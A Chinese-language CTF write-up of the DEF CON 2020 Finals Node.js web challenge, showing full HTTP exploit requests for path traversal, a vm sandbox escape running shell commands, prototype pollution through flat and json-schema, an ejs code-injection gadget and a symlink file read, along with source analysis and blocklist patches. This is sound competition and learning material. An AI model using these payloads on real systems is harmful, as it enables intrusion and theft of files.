Defcon CTF Final Web WriteUp


defcon CTF Final Web WriteUp

划水Web选手第一次打defcon,有幸能和A*0*E的大佬们一起见证历史,膜!!

比赛分四场,第四场的0点时候才放web题
-w272

源码:https://github.com/o-o-overflow/dc2020f-nooode-public

一道nodeJS审计,任意文件包含,需要结合一堆依赖库找利用:
-w670

比赛刚开始的时候可以通过非预期等等姿势来直接包含flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /config/validated/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 9

{'foo':1}HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 872
ETag: W/"368-7Bom1uI0U2E3Qp7J9cAwdko+TRk"
Date: Sun, 09 Aug 2020 16:33:58 GMT
Connection: keep-alive

<h1>Invalid or unexpected token</h1>
<h2></h2>
<pre>/flag:1
00059F8A3FCCD27002E4EE7F05C7ED50540869180234D354
^^^^^

或者编码一下/

1
2
3
4
POST /config/validated/%2fflag/test HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: curl/7.68.0
Accept: */*

后来大家修复很多都直接粗暴的把requirereadFileSync的参数都给成常量,然后就没洞打了。

大概到了两点的样子,重置了patch,不能用原来直接写死require的方式patch了,白名单patch会被check,最后根据已知poc一个个加的黑名单patch

打node内置库vm沙箱逃逸的payload,在devdocs.io可以找到其他内置库

1
2
3
4
5
6
7
8
9
10
POST /config/validated/vm/runInThisContext HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
content-type: application/json
Content-Length: 158

["var process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /f'+'l'+'a'+'g').toString()"]

预期解有一个应该是用flat的一个原型链污染:https://github.com/hughsk/flat/issues/105

1
2
3
4
5
6
7
8
9
10
POST /config/validated/flat/unflatten HTTP/1.1
Host: 10.13.37.1:4017
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.24.0
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

__proto__.path=%2Fflag

flat是一个js的对象解析库,提供了像下图这样解析对象的功能,当传入__proto__.path这样的参数时,即会被污染原型。
-w917

源码分析:
通过.分割参数,将__proto__当成key传入即可污染原型
-w941
-w329

另外这里还有一个特性即js里可以传入部分参数来进行函数调用,不同于java的多态:
-w566

修复:
作者在修复中判断了key1不能为__proto__:
-w806

还有一个flag会被截断的链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /config/validated/jsonlint/main HTTP/1.1
Host: 10.13.37.1:4017
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 33

{"1":"../../../../../../../flag"}HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 1188
ETag: W/"4a4-a7qhEennNdtDoehPQx3fDgEK7ww"
Date: Sun, 09 Aug 2020 18:26:27 GMT
Connection: keep-alive

<h1>Parse error on line 1:
0002DE946789B7BCFFCC
^
Expecting &#39;STRING&#39;, &#39;NUMBER&#39;, &#39;NULL&#39;, &#39;TRUE&#39;, &#39;FALSE&#39;, &#39;{&#39;, &#39;[&#39;, got &#39;undefined&#39;</h1>
<h2></h2>
<pre>Error: Parse error on line 1:
0002DE946789B7BCFFCC

大概5点的样子流量监控到td的大佬软连接读到我们的flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /config/validated/fstream/Writer HTTP/1.1
Host: 127.0.0.1:4017
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 76
Cookie: __utma=96992031.1308333994.1563790586.1563790586.1563793582.2; csrftoken=jDxu0gfu0oXpRCP5r0wYq0UA7dQau6KfqbXOYH4PQ9O87MwCx5ZAz0THbRMzId2T
Connection: close
Upgrade-Insecure-Requests: 1

{"type":"SymbolicLink","linkpath":"/flag","path":"public/stylesheets/wupco"}

这里还可以通过软连接源码去读别人patch绕过。

json-schema的gadget:

1
2
3
4
5
6
7
8
9
10
POST /config/validated HTTP/1.1
Host: 10.13.37.3:4017
User-Agent: python-requests/2.11.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 90
Content-Type: application/json

{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}

调用validate:
-w991
传入可控的instance参数,schemainstance.$schema传入:
-w981

这里主要看164行checkObj的调用,注意第二个参数schema.properties,即为我们post的json数据:
-w1421
-w667

checkObj函数的代码如下,将propDef赋值为objTypeDef.__proto__,即schema.properties.__proto__,然后作为参数再次调用checkProp(value, schema, path, i),而value变成了instance[i]即instance的原型instance.__proto__
-w1466

然后又到了从checkProp()执行到了checkObj()函数:再一次获取第二个参数schema.properties
-w1085
-w679

最后将propDef["default"]也就是/flag,传递给了value,也就是instance的原型,即成功污染:
-w1421

其他几个链:

1
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}

https://twitter.com/CVEnew/status/1283502926011543555

修复代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(JSON.stringify(req.body).includes('__')) throw new Error('fuck')
if(['vm', 'node-sass', 'jsonlint', 'ejs'].includes(req.params.lib)) throw new Error('asdf')
if(req.params.lib.includes('flag')) throw new Error('asdf')


// pig的修复
for(var Val in Object.prototype)
{
console.log(Val)
if(Object.hasOwnProperty(Val)){
continue
}else{
delete Object.prototype[Val];
console.log(`${Object.prototype[Val]}is delete`);
}
}

因为~的原因且出题人没给lock文件导致:服务器可以看到warn漏洞:
-w845
而本地啥也没有
-w535

几个关键的时间节点:(来自Cody大佬的复盘
IMG_1488